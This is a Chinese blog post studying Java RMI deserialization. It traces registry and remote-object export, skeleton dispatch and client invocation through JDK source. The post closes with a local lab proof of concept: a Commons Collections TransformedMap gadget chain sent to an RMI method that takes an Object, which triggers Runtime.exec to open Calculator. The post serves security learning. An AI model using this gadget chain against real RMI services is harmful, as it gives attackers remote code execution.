MENU

RMI反序列化

November 11, 2022 • Read: 683 • Code auditing

前言

之前简单的来学了一下RMI的使用,但是对于它的反序列化,我们还是需要通过底层代码逻辑来实现的
所以现在再来学一下

RMI前情回顾

RMI的基本结构就是这样的
截屏2022-11-19 16.21.42.png

我们现了解一下Registry:http://doc.yonyoucloud.com/doc/jdk6-api-zh/java/rmi/registry/Registry.html

RMI分为三个主体部分:Client,Server,Registry。

在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功。

我在网上找到个很通俗的解释:

Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用。registry作用就好像是,病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)的在哪个门诊室再去看病(执行远程方法)。

RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程方法的大致如下:

​ 整个过程会进行两次TCP连接,第一次是让Client获取到这个Name和对象的绑定关系,第二次再去连接Server并调用远程方法。

​ 第一次TCP:

    RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)。

    Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。

    RemoteCall序列化RMI服务名称、Remote对象。

    RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。

    RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。

    Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。

    Skeleton处理客户端请求:bind、list、lookup、rebind、unbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。

    第二次TCP:

    RMI客户端反序列化服务端结果,获取远程对象的引用。

    RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。

    RMI客户端反序列化RMI远程方法调用结果。

截屏2022-11-20 16.02.17.png

我们按照:http://blog.m1kael.cn/index.php/archives/463/
写一个简单的RMI

流程分析

创建注册中心

Registry registry = LocateRegistry.createRegistry(1080);

发现服务端创建了RegistryImpl对象
截屏2022-12-07 13.43.47.png

然后会将一些数据封装到var2
截屏2022-12-21 16.59.22.png

继续跟进setup()创建了一个UnicastServerRef对象,然后把封装的var2传入
然后把创建的UnicastServerRef对象做为var1传入setup()中
截屏2022-12-21 17.06.34.png

然后在setup()中调用了exportObject方法,继续跟进
截屏2022-12-21 17.08.49.png

然后创建了RegistryImpl的代理对象RegistryImpl_stub,这个东西就是后面服务于客户端端RegistryImpl的Stub对象
截屏2022-12-21 17.52.36.png

然后传入RegistryImpl,创建出RegistryImp_Skel
截屏2022-12-21 17.56.13.png

接着把skelen,stub,UnicastServerRef对象,ObiJD和一个boolean值构造为一个Target对象
截屏2022-12-21 18.17.16.png

然后又调用了ref的exportObject方法,传入Target对象,跟进LiveRef的exportObject
截屏2022-12-23 22.32.04.png

又调用了TCPEndpoint的exporObject方法,这个方法就是将target对象暴露出来
截屏2022-12-23 22.37.40.png

然后跟进它的listen()方法
截屏2022-12-23 22.54.18.png

调用了newServerSocket方法,会开启端口监听
截屏2022-12-23 22.55.33.png

然后就是启动一条线程等待客户端的请求
截屏2022-12-23 23.00.14.png

然后回到TCPEndpoint的exporObject方法
截屏2022-12-23 23.02.35.png

调用了父类的exportObject方法将对象Target存放到ObjectTable里面
截屏2022-12-23 23.03.56.png

注册中心处理

还是回到我们的listen函数
截屏2022-12-24 23.51.18.png

然后跟进到AcceptLoop()的executeAcceptLoop()
截屏2022-12-24 23.53.28.png

然后会获取了请求的一些信息,创建一个线程,调用内部类的ConnectionHandler来处理
截屏2022-12-25 00.34.22.png

接收请求,在run()中获取ServerSocket对象
截屏2022-12-25 00.36.47.png

继续跟进后续的run0(),handleMessages来处理请求
截屏2022-12-25 00.40.11.png

然后跟进handleMessages,在之前获取一些传输过来的数据,然后转到case80
截屏2022-12-25 00.44.19.png

然后创建一个StreamRemoteCall对象,并传入var1,var1是当前连接的Connection对象
然后跟进下一行TCPTransport#serviceCall
截屏2022-12-25 00.48.52.png

然后获取了ObjID,之后就会获取Target对象,接着调用UnicastServerRef#dispatch来处理请求
截屏2022-12-25 00.54.36.png

继续跟进
截屏2022-12-25 00.56.48.png

接着调用了oldDispatch,然后跟进发现调用了diaspath
截屏2022-12-25 01.03.19.png

可以看到this.skel就是之前创建的RegistryImpl_Skel对象,也就是说UnicastServerRef#dispatch最后会调用到RegistryImpl_Skel#dispatch来处理请求
截屏2022-12-25 01.08.25.png

var3是一个int类型的数组,分别对应了
0->bind
1->list
2->lookup
3->rebind
4->unbind
可以看到case 0对应的是bind,有执行readObject,而最后var6.bind中的var6是RegistryImpl对象,由createRegistry获得

比如调用了bind,则会进入RegistryImpl_Skel#dispatch中,先反序列化readObject传过来的序列化对象,之后进行var6.bind来注册服务,而var6则是RegistryImpl对象。也就是说无论是客户端还是服务端,最终其调用注册中心的方法都是通过创建的RegistryImpl对象进行调用的。

获取注册中心

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1080);

具体流程就不跟着分析了,但最后返回了一个registryImpl_Stub对象
截屏2023-01-10 14.32.22.png

创建远程对象

这个和创建注册中心很类似,都是生存一个stub和skel并且会随机绑定一个端口发布
截屏2023-01-10 15.35.01.png

我们会发现这个类继承了UnicastRemoteObject
截屏2023-01-10 15.36.40.png

然后我们跟进super方法
截屏2023-02-10 14.11.22.png

发现传入的端口为0
截屏2023-03-02 14.11.15.png

UnicastServerRef()就是封装了一些host,ObjID等
截屏2023-03-02 14.16.44.png

然后会调用nicastServerRef的exportObject方法
截屏2023-03-03 09.10.45.png

Util.createProxy创建了一个远程对象的代理对象proxy。
截屏2023-03-14 15.57.40.png

跟进Util.createProxy看到,后面返回了动态代理对象,而其invocationHandler值为RemoteObjectInvocationHandler(远程调用该对象时,客户端获取到的其实是该代理对象)
截屏2023-03-14 16.05.41.png

然后回来我们可以得到一个动态代理类
截屏2023-03-14 16.18.54.png

接着往下看,构造了一个Target对象,然后调用了this.ref.exportObject方法,传入
截屏2023-03-14 16.24.23.png

然后跟进exportObject方法,最终
截屏2023-03-14 16.29.00.png

我们继续跟进listen,会开启一个随机的端口监听
截屏2023-03-14 16.52.36.png

其实就是做了两件事,一是启动soket监听,二是将Target实例注册到ObjectTable对象中。

客户端与服务端通信

客户端代码:

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIclient {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1080);
        RMIinterface rmi = (RMIinterface) registry.lookup("127.0.0.1:1080/m1");
        System.out.println(rmi.sayHello());
        System.out.println(rmi.end());
    }
}

第三行拿到咯hello对象的proxy代理对象RemoteObjectInvocationHandler与服务器的Skel进行通信
会进入invoke方法
截屏2023-03-14 17.45.11.png

继续跟进invokeRemoteMethod
截屏2023-03-14 17.48.40.png

调用了ref.invoke,而这里的ref又是UnicastRef对象
跟进会发现调用了executeCall方法
截屏2023-03-14 17.56.13.png

这个方法就是用来发给服务端数据
截屏2023-03-14 17.59.22.png

然后跟进releaseOutputStream
截屏2023-03-14 18.02.58.png

这里flash就已经发给服务端了
发送完之后回到invoke方法
截屏2023-03-14 18.04.57.png

这里是接受服务端的数据进行readObject读取,然后赋值给var13返回
截屏2023-03-14 18.09.30.png

这里就会出现安全问题
客户端与服务端也差不多,就不做多解释了

RMI反序列化利用

因为在整个RMI机制过程中,都是进行反序列化传输,我们可以利用这个特性使用RMI机制来对RMI远程服务器进行反序列化攻击。

需要有两个条件:

1、接收Object类型参数的远程方法
2、RMI的服务端存在执行pop利用链的jar包

漏洞复现

因为需要接受Object类型的参数,所以需要对接口进行一个转变:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello1 extends Remote{
    public String flag(String flag) throws RemoteException;
    public void name(Object object) throws RemoteException;
}

然后编写一个类来实现它,并编写服务端


import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class Server {
    public class Rmi extends UnicastRemoteObject implements Hello1 {
        protected Rmi() throws RemoteException {
            super();
        }

        @Override
        public String flag(String flag) throws RemoteException {
            return null;
        }

        @Override
        public void name(Object object) throws RemoteException {
            System.out.println("m1"+object);

        }
    }
    private void start() throws Exception{
        Rmi rmi = new Rmi();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello1",rmi);
    }
    public static void main(String[] args) throws Exception{
        new Server().start();
    }
}

导入cc依赖
然后编写客户端:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;

public class RMIclient {
    public static void main(String[] args) throws Exception {
        Hello1 he = (Hello1) Naming.lookup("rmi://127.0.0.1:1099/Hello1");
        he.name(get());
    }
    public static Object get() throws Exception {
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value","m1");
        Map outerMap = TransformedMap.decorate(innerMap,null,chainedTransformer);

        Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c1.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class,outerMap);
        return obj;
    }
}
 

截屏2023-03-17 18.10.07.png

结语

这里使用的jdk版本为1.7,高版本的绕过后续遇见再学习,这里只是为了fastjson的前置学习。

Last Modified: March 17, 2023
Archives Tip
QR Code for this page
Tipping QR Code